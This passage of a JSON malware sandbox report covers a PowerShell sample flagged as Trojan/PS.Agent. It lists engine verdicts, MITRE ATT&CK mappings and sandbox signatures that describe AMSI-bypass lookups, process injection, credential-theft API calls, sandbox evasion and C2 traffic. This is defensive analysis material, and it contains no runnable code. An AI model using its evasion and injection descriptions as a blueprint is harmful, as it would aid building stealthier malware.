undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"ABTrojan.ZJVR-","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan/PS.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Executes a PowerShell script"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Creates new processes"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"},{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Spawned processes are likely due to an injection"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Detected XOR operators (encryption/decryption)"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Script contains XOR (Antimalware Scan Interface)"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Trusted Developer Utilities Proxy Execution","attack_id":"T1127","attack_id_wiki":"https://attack.mitre.org/techniques/T1127","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Reads configuration files (.ini files)"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"suspicious","value":"Opens a handle to the specified process"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"malicious","value":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Monitors specific registry key for changes"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"suspicious","value":"Attempts to retrieve the system language code"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"suspicious","value":"Attempts to access unusual system drive letters"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"GETs files from a web server"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Tries to GET non-existent files from a web server"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"malicious","value":"Contacts multiple hosts"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"},{"type":"malicious","value":"Detected multiple DNS responses with a low TTL"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically used to import cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007328)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007328)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007328)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1412939055105', 'hResInfo': '1412939056352'}\" (UID: 00000000-00007328)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1412939055105', 'hResInfo': '1412939056384'}\" (UID: 00000000-00007328)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1412939055105', 'hResInfo': '1412939056400'}\" (UID: 00000000-00007328)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1412939055105', 'hResInfo': '1412939056368'}\" (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"powershell.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"powershell.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$27","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$28","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Script contains XOR (Antimalware Scan Interface)","description":"The script contains XOR encryption - bxor","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1027","relevance":10,"id":"amsi-5","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","description":"details too long to display","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059.001","relevance":5,"id":"amsi-2","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","description":"Process \"powershell.exe\" executed suspicious script","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059","relevance":3,"id":"amsi-0","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7328)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"$29","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","description":"$2a","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import cryptographic keys into a CSP","description":"$2b","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"Detected XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \"-bxor \"; File: 